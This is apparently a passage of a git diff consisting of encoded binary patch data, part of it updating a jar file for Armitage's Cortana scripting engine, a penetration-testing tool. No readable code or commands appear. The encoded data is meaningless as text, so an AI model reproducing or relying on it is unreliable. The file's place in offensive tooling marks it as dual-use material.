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 WKr@{>o$YeA%WtbXciJ*nMd?2VizZe8 diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar index 7c1da6dbfa1c3265b31fcf73b613ad13d5c408e0..7278e95783ca788ed8ca38071f8b2b9eec3ed38e 100644 GIT binary patch delta 89638 zcmZ6y1yodD)Hh7e4BZ{l-Q5Dx9nv9)AR*l~baxGifOI3>AdS)`jdXWO%ZJSWdB690 zS!>qbXa9Ddb6EGDeeeAo*9*Hf)C-HIrU;LK3kwL~X*+EH)aL6wL0|YY2DFQ4Y$>%>o1RT@<0UUClfdx3Z z7l9Q#C**Y^EK-soJk-<*-uDIAgBO3HozJeuP2rG|R1p5hH`@ykjllVz0_zJsMPUDL zOrG=_5d-TvVM&<(>yH?MMF3Bh0#ZfVMBx3#j`- ze*xdWP+<_XHd_!hUN(s3MLr5*dZ85PuORVS97w4DXOaFb%RlL=DC++sH9_Wmu^C3D zOKL|({f~zh3yT7sGfoufBygfoL#jB?5t8Ciq+S#Qo?U)(;s7Q6MS;!$C(5f-7Y>yF z9k?Ft6-3RI1L6PLH2?CEN29^uV*md)(mz=tDzsueH0Y|yqd_b5LF0P~SdRv++~?UP zM<5pJ|KpMZ9lE&c=+MLi(7FH1lRoJ;I<&YWblMjg9tQOb6~<6~p)nYYFSHp0I+-yT z1W8XAqAxNBOmaxv9ShR`6V3q>noSNS{fpWVCe-u}li@#?1W6)T*e|>~7F5R@i{fRR zi3MHbF05Do# z5Sm|5_!4)6zY40EDwGCgI7Rz|+U+lu*3KHvqP{@YR$4C}lYq9(FM?iMFyO^l#%1D#61z^l z0H>~3P$#?Y9dKCxW@iD>W}+Db21cF&28J|gEgA=6m%@&eH135A#@+Gs10Qjg{c@0d zMM;V7NMz+o6g@&24NGJjK!cO-kLY$o<2sQ1gLEcfWIZEA8tZX*+Z%c zA*hC_K@jtk46cV-)Rn}wMJ^xN&=cfeCqy@XjK=-ngU^ut-mQk24tK|y-^^nE9qEkg zDeh72zHxsD3wT0Z``)eVpG|y|9-!0Hg#N_(=C5q%Z1DD25BSF9!G!SJ1{(bL_*(@+ zR*zcL*0aw6jorGDijqf6*|_FvK5uC$w@~tQZilp9BcgqX&qe;JMl2J9Je1BQm2O&I zz+;{G*|wO`$<&(gsMIivY18U6DpT-BIc0XKj8a_mx004JgzRPe@udlnbjfe2m?e5# z!+g`EdRfdvuCU-;aDaWtbX)xAllI)~uf>Rz_3=!l(xEM*YEfu!zri5ZQYTbp{%J~4 zS+pv}Q$82{96^hNJS7x1>8;;bn0s{F#}~5tS2tI@*(9eeDQxOz)AGXc=n{*wZP|BG zK^}A3J3J<#llnh;6^_iD;|ocSW)ZODoY%tD(V61h%_}Nk%P*T<4}lUAlb^v>BB`Tu zxN(7RoAYbZb=&H>Q|D~1-JOy)AKY9xO1`?CZohVdoa&^lPwZX-8HQa?4DPur{)h=D zSQ!;v5sAH)%+aNKFRaazr>5CCTn#vcuP`V_<(GcM%o()(WjIaOA!F3cXePZddKtYX z{Qa*EhuxeEm~0{Gk*}c8%+1~HW8=}Ke(Od9Oj@-5*{4*TBzOCXY@+A{BiEuW)IP46 z*W^!sJfcw<@**#$f9rlp`esb1wEt6gqTNVaAqf+svnXYf#t;ap^YDlfmc;`_X85#tzf@4ByEw7j6`c>Zu;MJv!a{> zf8-*0`G5_`DOVdtD%4-9F&qr~JZd|e$jr`^Cat)&sM!g|myT(;8)SK!gi^yl%rNBl zm+8~I=~q1cqs_BG`v(?TyQ+EZ^|Xp-&d2;~oP9ABV=xWdWAbD71quGA)YIVc=AD5gL9aOmv-WK(qH=)AtlsBUVuKY&9a%a zeSA|f!OxECu8d*$HTMT@xH!fe)eaF$`a}8P52dcwq6aE}Nj2$hw3zH#`z9{ABozA> zGE)_g3@;M9S}wcZxFo-EKkR_acWE`2qS5(wkR*#6{9C1hE((o 